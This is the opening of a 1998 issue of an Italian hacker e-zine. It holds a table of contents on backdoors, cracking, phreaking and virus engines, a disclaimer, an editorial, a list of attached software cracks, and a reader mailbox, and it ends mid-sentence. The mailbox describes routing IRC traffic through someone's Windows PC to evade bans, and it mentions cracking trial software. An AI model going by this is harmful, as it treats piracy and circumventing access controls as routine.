ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ °°°°°°°°°°°°°°°°°°°°ÚÄÄÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÄÄ¿°°°°°°°°°°°°°°°°°°°°° °°°°°°°°°°°°°°°°°°°°³ ³°°°°°°°°°°°°°°°°°°°°° °°°°°°°°°°°°°°°°°°°°³ J$$$$$$$. $$$$$$$$ $$ ³°°°°°°°°°°°°°°°°°°°°° °°°°°°°°°°°°°°°°°°°°º $$ J$% d$" d$" º°°°°°°°°°°°°°°°°°°°°° °°°°°°°°°°°°°°°°°°°°º d$beeee$" .$$eeee .$P º°°°°°°°°°°°°°°°°°°°°° °°°°°°°°°°°°°°°°°°°°º .$$""""$$. $$""""" $$" º°°°°°°°°°°°°°°°°°°°°° °°°°°°°°°°°°°°°°°°°°º d$" $$ .$P .$P º°°°°°°°°°°°°°°°°°°°°° °°°°°°°°°°°°°°°°°°°°º .$$$$$$$*" e$- $$ e$ $$ z$-º°°°°°°°°°°°°°°°°°°°°° °°°°°°°°°°°°°°°°°°°°³ """"""" ^" ^"" ^" ^"" ^" ³°°°°°°°°°°°°°°°°°°°°° °°°°°°°°°°°°°°°°°°°°³ áUTCHERED ŸR0M iNSiDE ³°°°°°°°°°°°°°°°°°°°°° °°°°°°°°°°°°°°°°°°°°ÀÄÄÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÄÄÙ°°°°°°°°°°°°°°°°°°°°° ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄo0[NUMER0 3] [ANN0 1] [LUGLi0 1998]0oÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÄÄÄÄÄÄÄÄÄ iNDiCE ÄÄÄÄÄÄÄÄÄÄÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ º1þ iNTR0 ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> |scacco| º º2þ 0á-N0TES ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> SMa$teR º º3þ MAiLá0X ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> Cavallo º º4þ ETiCA - C0PiA/iNC0LLA CHE PASSi0NE ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> Nello|Z º º5þ Si STAVA MEGLi0 QUAND0 Si STAVA PEGGi0? ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> sPIRIT º º6þ CYáERPUNK ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> Fre º ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͹ º1þ HACKiNG: GESTi0NE DEi PR0CESSi iN AMáiENTE UNiX ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> pIGpEN º º2þ HACKiNG: áACKD00R: iDEE ED iMPLEMENTAZi0Ni ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> fusys º º3þ HACKiNG: T00LS PER RiMANERE iN 0MáRA S0TT0 UNiX ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> fusys º º4þ HACKiNG: PR0GETT0 CAR0NTE - PARTE I ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> fusys º º5þ HACKiNG: N0NS0L0PHŸ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> D.K.&D.S.º º6þ HACKiNG: SNiŸŸiNG ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> A.Kuligk º º7þ HACKiNG: DiVERTiRSi AL CYáERCAŸE ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> [goku] º º8þ HACKiNG: PASSW0RD CRACKiNG ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> -jH- º ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͹ º1þ PHREAKiNG: áLUEá0X iN iTALiA ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> E.Draven º º2þ PHREAKiNG: PR0JECT MTŸ - L0CALiSTA 0 SERiALiSTA? ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> McK&PazzOº º3þ PHREAKiNG: CELLULARi AND RELATED - III PARTE ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> |PazzO| º ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͹ º1þ ViRii: M0T0Ri P0LiM0RŸi ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> b0z0 º ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͹ º1þ CRACKiNG: Vá0X - PREViEW PARADiSE R.I.P.ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> xOANON º º2þ CRACKiNG: STEP áY STEP - LEVEL 1 ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> The_Hawk º º3þ CRACKiNG: STEP áY STEP - LEVEL 2 ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> The_Hawk º º4þ CRACKiNG: NT GUARDiAN 3.0 ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> F.Black º º5þ CRACKiNG: T00L Di C0MPARAZi0NE ŸiLE BiNARi ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> Raptor º ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͹ º1þ MiSC: RETi L0CALi ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> DrumFire º º2þ MiSC: WiNGATiNG: CHE PASSi0NE! ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> Darker º º3þ MiSC: S0CKS WiTH áiTCHX H0WT0 ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> LF&Sorbo º º4þ MiSC: GUiDA ALL'US0 DEi S0CKET: iL SERVER ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> LordFelixº º5þ MiSC: RADi0 SCANNiNG ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> onid^ º º6þ MiSC: iRC áACKD00R ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> Blinking º º7þ MiSC: CRYPT V.6.0.0 ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> \\alV^iCfº º8þ MiSC: GUiDA AL M0ND0 DEGLi MP3 ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> Dr_Slump º ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͹ ³ ³ ³ ³ . . ********************************! ATTENZIONE !********************************* * TUTTO IL MATERIALE CONTENUTO IN BUTCHERED FROM INSIDE E' DA RITENERSI A * * PURO SCOPO INFORMATIVO. GLI AUTORI DI BUTCHERED FROM INSIDE NON SI RITENGONO* * IN ALCUN MODO RESPONSABILI PER DANNI CAUSATI DALL'USO DI PROGRAMMI, CODICE, * * INFORMAZIONI CONTENUTI ALL'INTERNO DELLA RIVISTA. PENSATE AI VOSTRI AMICI, * * AI VOSTRI GENITORI, ALLA VOSTRA RAGAZZA, A NOI E SOPRATTUTTO A VOI STESSI * * PRIMA DI FARE QUALCHE CAZZATA! * ******************************************************************************* * SE TU, LETTORE, TI RITIENI OFFESO DAI TEMI TRATTATI IN BFI ALLORA: * ! INTERROMPI IMMEDIATAMENTE LA LETTURA E CANCELLA QUESTO FILE DAL TUO SYSTEMA ! * PROSEGUENDO, TU LETTORE TI ASSUMI OGNI GENERE DI RESPONSABILITA' PER L'USO * * CHE FARAI DELLE INFORMAZIONI CONTENUTE IN BFI * ******************************************************************************* * LE STESSE INFORMAZIONI RACCOLTE IN BFI SONO FACILMENTE REPERIBILI SULLA RETE* * TRAMITE UN QUALSIASI MOTORE DI RICERCA * ******************************************************************************* * SI _VIETA_ DI POSTARE BFI SUI NEWSGROUP * ******************************************************************************* ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÄÄÄÄÄÄÄÄÄ iNTR0 ÄÄÄÄÄÄÄÄÄÄÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ Ciao ragazzi, per questo numero di BFI ho il grandissimo onore di scrivere la mega introduzione (notate l'assonanza giu' di testa!!!). Questa zine sta prendendo il posto di System Down e di altre zine dell'underground ita... se mai esistesse!. Proprio di questo ho intenzione di dibattere in questa breve introduzione. L'italia ha mai avuto un serio movimento underground? Gli americani che si lamentano tanto dei lamers sono mai stati sul canale hackers.it? Evidentemente no... Hackers.it (non me ne vogliano i frequentatori) e' l'apoteosi della schifezza, orde di lamer che si scambiano green e shells in canale, con metodi fantozziani del tipo: "Come faccio poi ad essere sicuro che funzioni davvero??", "La password che mi hai dato funziona o mi prendi per il culo?". Queste sono le frasette tipiche dei traders su #hackers.it. Ho preso questo canale come esempio xche' la specie dei lamer ha trovato campo fertile e tende a riprodursi in queste zone, ma vi sono altri canali in cui si stanno ricreando in branchi separati. Chi ha la colpa di tutto cio'? Ehy tu, non abbassare lo sguardo, sisi proprio tu che sei "esperto" di hacking, di sistemi, di cracking o di coding. Forse e' piu' facile dimenticarli i primi tempi piuttosto che riesaminarli. Anche tu eri un newbie e non sapevi nemmeno cosa fosse il comando "dir" (molti ancora non lo hanno capito). Mesi e mesi passati alla ricerca di testi su come fare questo, come fare quello, sempre in inglese, termini mai sentiti provenienti dallo slang, mega HOWTO, manuali hypertestuali, caccia al hack nuovo, lurkamento totale di alt2600 ecc.... Forse queste cose non te le vuoi ricordare, ma le hai fatte. Molto spesso confondi il newbie e il lamer, ma sono persone completamente diverse! Una volta per tutte: dicesi newbie colui che senza nessun tipo di conoscienza cerca di istruirsi e documentarsi rivolgendo domande a persone competenti. Dicesi lamer colui che senza nessun tipo di conosceinza utilizza informazioni altrui per creare danni, oppure si limita a porre domande rivolte a questo scopo. Mi sembrano due persone completamente diverse... non ti pare?. Non credi che anche un newbie abbia il diritto di arrivare ai tuoi livelli? Forse il tuo orgoglio non ti fa vedere queste cose!. Si' Si', lo so che dovrebbe arrangiarsi, che non e' giusto fargli trovare la pappa pronta ecc... Ma lui non vuole la pappa pronta, vuole una mano, vuole porti una domanda intelligente su un argomento che non ha ben chiaro, non si sognera' mai di chiederti (come mi e' gia' successo) "Mi insegni ad hackare?", ma si limitera' ad una domanda specifica. Un'altra critica che sollevi sempre riguarda il bfi, dici che e' assolutamente inutile proporre alla gente tools preconfezionati, pronti per essere eseguiti e creare danni ai sistemi. Eticamente il tuo discorso non fa una piega, il fatto e' che tramite questi tools vengono mostrati esempi e idee su come implementare un protocollo o una funzione nuova. I nostri programmi non sono stati creati per essere pronti all'uso, molto spesso sono versioni base in cui vanno implementate moltissime funzioni, questo lavoro e' lasciato al nostro caro lettore. Questo non e' altro che un pretesto per spingerlo verso un settore dell'underground e fargli approfondire alcune conoscenze. Anche questo e' vero, molto spesso i nostri tools finiscono nella mani dei lamha, ma ho una risposta anche a questo... Se anche solo 1 lettore su 100, prende il mio tool, si va a documentare, lo riprogramma, lo potenzia, lo perfeziona e aggiunge funzioni tutti i miei sforzi sono stati appagati. Ok Ok basta con queste cose filosofiche, lascio la parola agli altri scrittori, questo numero e' veramente sensazionale, non perdetevelo!!!!. |scacco| ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÄÄÄÄÄÄÄÄÄ 0á-N0TES ÄÄÄÄÄÄÄÄÄÄÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ y0y0.. la redazione di BFi non prende vacanze e resiste al caldo afoso di questa estate '98 sedendo la notte davanti ad un computer. Purtoppo i 30+ gradi di temperatura non hanno fatto bene alle nostre sinapsi... e abbiamo deciso di raccogliere i deliri piu' divertenti di questi ultimi 2 mesi nello speciale BFi Crazy Summer Issue: BEACH FOR iNSANES =) Qui di seguito trovate la lista dei programmi allegati, per la cui descrizione vi rimando ai rispettivi articoli: + jpip3.zip : jpip3 [PASSW0RD CRACKiNG] + celly02.zip - mp66.zip : Motorola E-Tacs Official Programmer [CELLULARi AND RELATED] - simcard.zip : ASIM Emulator v2.9 [CELLULARi AND RELATED] + dpe.zip : DPE - Demo Poly Engine [M0T0Ri P0LiM0RŸi] + crackme.zip : CrackMe v1.0 [STEP áY STEP] + compare.zip : Tool di comparazione binari [T00L Di C0MPARAZi0NE ŸiLE BiNARi] + crypt6.zip : Crypt 6.0.0 [CRYPT V.6.0.0] + mp3.zip - wd141crk.zip : winDAC32 v.1.41 crack [GUiDA AL M0ND0 DEGLi MP3] - discplay4.zip : DiscPlay 4 crack [GUiDA AL M0ND0 DEGLi MP3] Come al solito, mandate i vostri articoli, domande, richieste e cazzate varie :) all'indirizzo e-mail: BFI98@USA.NET Un ringraziamento particolare va a InfectedMachine, senza il cui aiuto questo numero non sarebbe uscito prima di Settembre: grazie "vecchio" ;) Desidero inoltre ringraziare tutti gli altri ragazzi che hanno contribuito con i loro articoli. BUONA ESTATE! SMa$teR ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÄÄÄÄÄÄÄÄÄ MAiLá0X ÄÄÄÄÄÄÄÄÄÄÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ Salve a tutti, eccoci ad un nuovo spazio dedicato alle vostre email; in questa rubrica vogliamo cercare di rispondere ai vostri quesiti. Per questo numero l'angolo della posta non e' ricchissimo di email non essendone arrivate 69milioni, tra l'altro abbiamo avuto qualche problemino sul server della posta quindi qualche email e' andata persa. Essendone quindi arrivate poche, le risposte saranno (speriamo) abbastanza dettagliate, cercando cosi' di aiutarvi al meglio. Vogliamo quindi scusarci con coloro che non otterranno una risposta e vogliamo inoltre ringraziare chi ci ha scritto per farci complimenti e per sostenere la nostra e-zine. Ma ora veniamo alle email... _______________________________________________________________________________ [01] "AnonIRC e Conseal Firewall" da Vigna Vi scrivo questo messaggio per farvi i miei complimenti...trovo la vostra 'pubblicazione' molto interessante e davvero divertente: fatta da ragazzi che amano il computer per ragazzi che amano il computer. [Il nostro obiettivo e' questo =)] Vorrei chiedervi un paio di cose sperando di non sembrare troppo un paraculo :-)))) ; la prima: come si usa l' AnonIRC??? ho provato in mille modi ma non capisco il significato delle diverse funzioni e non ottengo alcun risultato... boh!! [L'AnonIRC non e' altro che un programma che permette di creare un rimbalzo su un PC Windows; i settaggi sono abbastanza intuitivi (o forse no ? =)) bisogna specificare il server irc su cui deve rimbalzare (Current Bounce Server), la porta su cui deve accedere al server irc (Current Bounce Port) e la porta su cui deve ascoltare (Listening Port), a questo punto basta premere il tasto Init e viene aperto un socket che fa da rimbalzo. Dal punto di vista pratico l'unico utilizzo di detto programma e' quello di farlo montare a qualche amico (o su qualche PC con Windows connesso alla rete) e utilizzarlo per arrivare su IRC con il suo IP, di solito questo tipo di programma e' utilizzato principalmente per evitare una K-Line (Ban dal server). Lo schema puo' essere: IO -> PC con AnonIRC -> ServerIRC (su cui arrivo con l'ip del PC con AnonIRC) Come forse avrete capito non e' che sia questa grossa cosa, anche perche' una k-line, se mai ne subiate una, facilmente sara' solo su un dato server, e non su tutta la rete IRC che frequentate, quindi basta scegliere un altro server e via di nuovo a sparare cazzateeeee...] La seconda: ho scaricato il firewall della Conseal in versione trial (subito crakkato) lo conoscete?? perche' volevo sapere qual e' il modo migliore, secondo voi, di settare le ruleset. Il firewall regge meglio ai nuke del Nabber 2.7 ?? anche ai Land o ai Boink??? [Il Firewall della Conseal non e' molto semplice da settare, onestamente devo dire che anche io non sono ancora riuscito a fare un ruleset come dio comanda, comunque lasciando attivato il learning mode si viene avvisati di cio' che arriva e viene richiesto se lasciare passare o meno il pacchetto sospetto; unica cosa fate attenzione se inizia ad arrivare roba strana a non pigiare per sbaglio return mentre state scrivendo su IRC e a far lasciar passare un amichevole nuke =)) Dal punto di vista della resistenza penso sia sicuramente migliore nel Nuke Nabber che, pur non ricordandolo bene, dovrebbe solo ascoltare su certe porte e mostare i tentativi di connessioni (e quindi bloccare solo la nuke OOB), mentre il Conseal e' in grado di bloccare tutte le nuke esistenti ad ora (oob,teardrop, land, tierra,boink etc...); ovviamente ho parlato di nuke e non di flood, li' non ci potete fare nulla da win.] _______________________________________________________________________________ [02] "bho ?!?!?!" da rio.elven kattso! grande BFI ! era ora che kyuzz mettesse qualcosa di decente sulle sue pagine ;P ma quando dioporco esce il 3 ? che kattso faccio nella pausa pranzo ? e poi voglio la foto 1:1 di pigpen nudo ! go on ppl.... [Dehehehehehe grazie per i complimenti, sei in linea con la nostra e-zine, per la foto del pig vedremo cosa si puo' fare...] _______________________________________________________________________________ [03] - "Sito di BFI e Programmi" da Muttley Ciao, prima di tutto mi presento sono un ragazzo, che non ne capisce un cazzo di hacker, cracker, ecc. Vi scrivo perche' ho letto la vostra rivista e' mi e' piaciut un sac, ma credo di averla presa da un sito non corrispondente al vostro. mi potreste dire se sono uscite versioni seguenti dopo la prima, e dove le posso prendere?? ah un'ultima cosa voi parlate di prog sulla vostra "rivista" ma non specificate da dove si possono scaricare, se questo e' possibile! Apetto la vostra risposta. Muttley [Come potrai leggere siamo al numero 3, approfittiamo della tua email per segnalare che il SITO UFFICIALE e' http://bfi98.home.ml.org pero' sapendo come siamo scazzati a volte potrebbe non funzionare quindi capitera' che qualcuno vi consigli di andare a pigliarla dal suo sito nel caso in cui il sito ufficiale non vada. Per quanto riguarda i programmi, onestamente non ricordo nei precedenti numeri di quali programmi abbiamo parlato, resta il fatto che molti di essi li puoi trovare facendo ricerche su yahoo o dando un occhio ai siti di hack presenti sulla rete, nel caso non riuscissi a trovare qualcosa in particolare facci un fischio. Un unico dubbio mi sorge dopo la lettura della tua mail, se di hacker e craker non capisci un cazzo, cosa hai capito dalla nostra rivista ?!? =)] _______________________________________________________________________________ [04] - "Commenti" da Alessandro cari bfi inanzitutto mi sono letto d'un fiato i primi due numeri e devo dire che siete stati grandiosi! i testi sono veramente una fonte illimitata di ispirazione per quelli come me che credono ciecamente nella vostra causa con particolare riferimento alla telecom, non tanto per un profitto personale, quanto per giustizia verso una associazione a delinquere legalizzata. [Niente altro da aggiungere, la frase si commenta da se'] Devo dirvi sinceramente che approvo per intero quello che fate ad eccezione dell'articolo riguardante galeoni e carciofi. [Beh anche in questo caso come per l'hacking e affini uno e' libero di applicare o meno cio' che trova scritto, quindi chi ritiene che galeoni e carciofi "non s'abbiano da fare" e libero di saltare quella parte della e-zine.] _____________________________________________________________________________ La sezione delle mail finisce qui, a risentirci al prossimo numero. Cavallo ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ÈÍÍÍÍÍÍÍÍÍÍÍÄÄÄÄÄÄÄÄÄ ETiCA - C0PiA/iNC0LLA CHE PASSi0NE ÄÄÄÄÄÄÄÄÄÄÍÍÍÍÍÍÍÍÍÍͼ Una di quelle sere in cui cazzeggi su irc....hai caldo...hai sete...mentre mi facevo i cazzi miei arriva smaster e mi fa: "Ehi nelloz vai a vedere quest'url: spaghetti-phreaker.home.ml.org, ci fregano gli articoli :))". Quante belle scritte colorate... a parte questo sono due sostanzialmente le cose ke mi hanno dato fastidio, prima di tutto il fatto ke il mio url non fosse menzionato tra i link! (hihihihi ;)) La seconda... beh la seconda non e' da meno... ho notato, e tutti lo possono verificare, ke alcuni testi sono stati "rippati" o cmq scopiazzati alla grande da BFi, il bello e' ke ricordo ancora benissimo di quando gli autori (al secolo assidui frequentatori di #hackers.it ora non so) criticavano quelli di systemdown, perche' si permettevano di tradurre dei testi americani. Tutti i testi ke sul sito sono raccolti nelle aree "Cabine" e "Cellulari" vengono fatti passare per il frutto dei dementi gestori di tale sito e di sto cazzo di gruppo.... ...ragazzi...capisco il fatto ke vi kiamate "spaghetti phreaker" (AHAHAHAHAH), e ke suppongo il nome derivi dal libro spaghetti hacker (colgo l'occasione per salutare Stefano Chiccarelli autore del libro e conosciuto all'hackit98), capisco il fatto ke cerchiate in ogni modo di fare qualke azione di phreaking dato ke vi riconoscete come tali, capisco anche ke date le vostre "scarse" esperienze tecniche non ne siate in grado, perche' quei poki testi, forse di vostra concezione, non siano da considerarsi ke un vago accenno di smanettamento su cose viste e riviste e ke come il sopra citato libro definisce phreaker (non lo voglio prendere come oro colato, ma diciamo ke ci va vicino): <>. Tutto cio' molto lontano da voi (almeno mi sembra :) e cmq questo non va fatto). Concludendo, avere collaborazioni e rapporti con altri gruppi della scena italiana e' sempre interessante, ma farsi belli con la roba altrui... eh ke cazzo...aboliamo il copyright, ma lasciamo le firme! Nello|Z ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ÈÍÍÍÍÍÍÍÍÍÍÄÄÄÄÄÄÄÄÄ Si STAVA MEGLi0 QUAND0 Si STAVA PEGGi0? ÄÄÄÄÄÄÄÄÄÄÍÍÍÍÍÍͼ Oggi, mercoledi' 1 luglio 1998, stavo leggendo il Corriere della Sera, sezione di Economia, quando nel giro di poche pagine mi sono capitati sotto gli occhi tre trafiletti interessanti, che riporto per intero: PAGINA 19: TELECOM E UNISOURCE - NESSUNA SEPARAZIONE "Nessun divorzio, almeno per ora, tra Unisource e Telecom Italia. Il ministero del Tesoro - a quanto si e' appreso - avrebbe infatti deciso una <> per proseguire nelle trattative sulla cessione dell'1,2% del capitale della societa' di telecomunicazioni con la societa' costituita dai maggiori gestori di telecomunicazioni svizzero, svedese e olandese il cui diritto di opzione per l'acquisto del pacchetto di azioni Telecom sarebbe scaduto alla mezzanotte di ieri. Il Tesoro, in sostanza, con una sorta di <> con Unisource, concede piu' tempo a Telecom, guidata da Gian Mario Rossignolo, e Unisource per verificare se esistono spazi per un accordo, ma non fissa paletti precisi rimanendo cosi' con le mani libere per cercare eventuali altri acquirenti per il pacchetto di azioni di cui e' proprietario. Intanto ieri si e' saputo che non ci sara' nessuna nuova manovra tariffaria ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ entro luglio. Probabilmente sara' possibile entro la fine dell'anno. ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Sul fronte del bilanciamento delle tariffe telefoniche e' questa la novita' emersa al termine dell'audizione ai vertici Telecom davanti ai membri della autorita' per le garanzie nelle comunicazioni." PAGINA 20: WIND - MACCANICO DA' IL VIA LIBERA "Il ministro delle Comunicazioni Antonio Maccanico ha firmato la licenza che consente a Wind, il terzo gestore dei telefonini, di operare sul territorio. La societa' partecipata da Enel, France Telecom e Deutsche Telekom, avviera' il servizio entro il primo marzo '99." PAGINA 22: PARTE ALBACOM, A OTTOBRE LE PRIME CABINE TELEFONICHE "MILANO - Albacom sfida Telecom Italia a tuttocampo, e conta di arrivare all'utile, una decina di miliardi, gia' dall'esercizio del '99 (chiusura 31 marzo 2000) con un fatturato di 650 miliardi che dovrebbero diventare quasi 900 nel Duemila. Da domani (oggi per chi legge, n.d.r.) - ha annunciato l'amministratore delegato Giuliano Venturi a Milano - parte la nuova offerta per le aziende su tutto il territorio nazionale, con tariffe inferiori fino al 40% per le chiamate interurbane e addirittura fino al 51% per quelle internazionali, rispetto a quelle praticate attualmente dall'ex monopolista. L'anno prossimo tocchera' alla clientela residenzale, ma la sperimentazione ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ avra' inizio gia' da quest'autunno, con riduzioni tariffarie all'incirca della stessa percentuale. La concorrenza del nuovo operatore si estendera' anche alle cabine telefoniche. I primi test nelle stazioni, negli aeroporti e nei luoghi di massima frequentazione inizieranno prima della fine dell'anno e il prototipo della cabina Albacom sara' presentato alla prossima edizione dello Smau a ottobre. Tra i principali clienti di Albacom, che sono gia' piu' di duemila, anche la Zanussi di Pordenone. E 